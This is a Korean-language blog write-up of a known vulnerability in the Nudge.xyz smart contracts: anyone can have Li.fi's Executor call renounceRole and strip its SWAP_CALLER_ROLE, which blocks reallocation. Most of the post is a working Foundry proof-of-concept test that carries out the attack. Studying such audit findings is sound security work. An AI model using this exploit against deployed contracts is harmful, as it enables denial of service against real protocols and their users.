Tyojong
[1-day] Nudge.xyz - Access Control, DoS 본문
코드 분석
영향 받는 코드
https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaign.sol
https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaignFactory.sol
https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgePointsCampaigns.sol

nudgexyz 깃허브 readme(문서)를 확인해보면 SWAP_CALLER_ROLE 권한을 Li.fi의 Executor에게 부여한다고 명시되어 있다.

NudgeCampaign.sol 파일의 handleReallocation 함수를 확인해보면 SWAP_CALLER_ROLE 권한만 접근 가능하도록 제약하고 있다.
그래서 SWAP_CALLER_ROLE 권한을 가진 Li.fi의 Executor 코드를 확인해보면

swapAndExecute 함수에는 접근을 제한하는 코드가 존재하지 않아 누구나 swapAndExecute 함수를 호출할 수 있다.
swapAndExecute 함수에 인자를 보면 _swapData가 존재하고 _swapData의 각 원소는 LibSwap.SwapData 타입이다.

LibSwap.SwapData를 확인해보면 callTo와 callData가 존재한다. 때문에 누구나 swapAndExecute 를 호출하여 callTo와 callData를 자유롭게 전달해 임의의 외부 컨트랙트 및 함수를 실행할 수 있다.
nudgexyz에서는 OpenZeppelin의 AccessControl을 import하고 있다.

AccessControl에는 renounceRole 함수가 있는데 renounceRole 함수는 호출한 계정이 가지고 있는 특정 역할(role)을 스스로 취소하는 함수이다.
익스플로잇
시나리오
Executor의 swapAndExecute로 NudgeCampaignFactory.sol에 renounceRole을 실행시키면 Executor는 SWAP_CALLER_ROLE 권한을 상실하게 되고 권한이 없기 때문에 handleReallocation은 더 이상 호출할 수 없게 되어 DoS가 발생한다.
PoC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { Test } from "forge-std/Test.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { NudgeCampaign } from "../campaign/NudgeCampaign.sol";
import { NudgeCampaignFactory } from "../campaign/NudgeCampaignFactory.sol";
import { INudgeCampaign, IBaseNudgeCampaign } from "../campaign/interfaces/INudgeCampaign.sol";
import "../mocks/TestERC20.sol";
import { console } from "forge-std/console.sol";
import { Executor } from "../campaign/Periphery/Executor.sol";
import { ERC20Proxy } from "../campaign/Periphery/ERC20Proxy.sol";
import { LibSwap } from "../campaign/Libraries/LibSwap.sol";
import { TestUSDC } from "../mocks/TestUSDC.sol";
contract TestDOSReallocation is Test {
using Math for uint256;
NudgeCampaign private campaign;
NudgeCampaignFactory private factory;
TestERC20 private targetToken;
TestERC20 private rewardToken;
address owner = address(1);
address alice = address(11);
address bob = address(12);
address campaignAdmin = address(13);
address nudgeAdmin = address(14);
address treasury = address(15);
address swapCaller = address(16);
address operator = address(17);
address alternativeWithdrawalAddress = address(18);
bytes32 public constant SWAP_CALLER_ROLE = keccak256("SWAP_CALLER_ROLE");
uint16 constant DEFAULT_FEE_BPS = 1000; // 10%
uint32 constant HOLDING_PERIOD = 7 days;
uint256 constant REWARD_PPQ = 2e13;
uint256 constant INITIAL_FUNDING = 100_000e18;
uint256 constant PPQ_DENOMINATOR = 1e15;
address constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address badActor = address(0xBAD);
Executor executor;
address executorOwner = address(19);
ERC20Proxy erc20Proxy;
// 환경 구축 함수
function setUp() public {
vm.startPrank(owner);
//owner로 트랜잭션 보냄
erc20Proxy = new ERC20Proxy(owner);
//LiFi흐름에서 승인/전송 허브 역할을 하기 위해 ERC20Proxy 배포
vm.stopPrank();
// owner 종료
targetToken = new TestERC20("Target Token", "TT");
rewardToken = new TestERC20("Reward Token", "RT");
// 테스트용 두 토큰 배포
executor = new Executor(address(erc20Proxy), executorOwner);
// executor 배포(프록시 주소, owner 설정)
swapCaller = address(executor);
// 이후 swap 호출자는 executor로 설정
console.log(address(executor));
factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, address(executor));
// 팩토리 배포 (SWAP_CALLER_ROLE을 executor에서 부여)
vm.startPrank(owner);
erc20Proxy.setAuthorizedCaller(address(executor), true);
// ERC20Proxy에서 executor를 허가된 호출자로 등록
vm.stopPrank();
rewardToken.mintTo(INITIAL_FUNDING, address(this));
rewardToken.approve(address(factory), INITIAL_FUNDING);
//테스트 컨트랙트에 보상토큰 mint, 팩토리에 자금 승인
campaign = NudgeCampaign( //팩토리를 통해 캠페인 배포 및 초기 자금 주입
payable(
factory.deployAndFundCampaign(
HOLDING_PERIOD,
address(targetToken),
address(rewardToken),
REWARD_PPQ,
campaignAdmin,
0, // start immediately
alternativeWithdrawalAddress,
INITIAL_FUNDING,
1 // uuid
)
)
);
// swapCaller 설정
deal(address(targetToken), swapCaller, INITIAL_FUNDING);
vm.prank(swapCaller);
targetToken.approve(address(campaign), type(uint256).max);
}
// 익스플로잇
function test_DOSReallocation() public {
vm.deal(badActor, 10 ether); // 공격자 주소에 ETH지급 (가스 용도)
vm.startPrank(badActor); // 이후 모든 호출 badActor로 수행
TestUSDC testUsdc = new TestUSDC("A", "B");
// 테스트 usdc 배포. 해커가 만든 커스텀 컨트랙트를 배포할 수 있는지 확인
testUsdc.mintTo(1 ether, badActor); //공격자에게 testUsdc 1ether mint
testUsdc.approve(address(executor), 1);
testUsdc.approve(address(erc20Proxy), 1);
// executor, erc20proxy에 1단위 승인. 일부 LiFi플로우는 승인->스왑/호출 절차가 요구될 수 있어 모양만 갖춤
bytes memory renounceRoleCallData =
abi.encodeWithSignature("renounceRole(bytes32,address)", SWAP_CALLER_ROLE, address(executor));
// renounceRole로 executor가 SWAP_CALLER_ROLE을 스스로 포기하도록 하는 호출 데이터를 만든다.
// LiFi 스타일 스왑/호출 데이터 구조체 구성
LibSwap.SwapData memory sd1 = LibSwap.SwapData(
//callTo:
address(factory),
//approveTo:
address(testUsdc),
//sendingAssetId:
address(testUsdc),
//receivingAssetId:
address(testUsdc),
//fromAmount:
1,
//callData:
renounceRoleCallData,
//requiresDeposit:
false
);
LibSwap.SwapData[] memory swapDataArray = new LibSwap.SwapData[](1);
swapDataArray[0] = sd1;
// 스왑/호출 단계 배열로 포장
bytes32 transactionId = bytes32(uint256(1));
address transferredAssetId = address(testUsdc);
address receiver = address(badActor);
uint256 amount = 1;
//swapAndExecute 호출 인자 준비
executor.swapAndExecute(transactionId, swapDataArray, address(testUsdc), payable(receiver), amount);
// swapAndExecute 호출 (익스플로잇)
vm.stopPrank();
assert(!factory.hasRole(SWAP_CALLER_ROLE, address(executor)));
// factory에서 executor가 SWAP_CALLER_ROLE을 가지고 있는지 확인
}
}

익스플로잇 코드를 실행시켜보면 test_DOSReallocation()함수가 정상적으로 실행되어 PASS가 출력된 것을 확인할 수 있고

NudgeCampaignFactory::hasRole이 권한이 박탈되어 false가 출력된 것을 확인할 수 있다.
'web3' 카테고리의 다른 글
| [1-day] RabbitHole - Access Control (0) | 2025.11.08 |
|---|---|
| [1-day] BendDAO - Access Control (0) | 2025.11.05 |
| [1-day] DFX finance - Reentrancy (0) | 2025.10.29 |
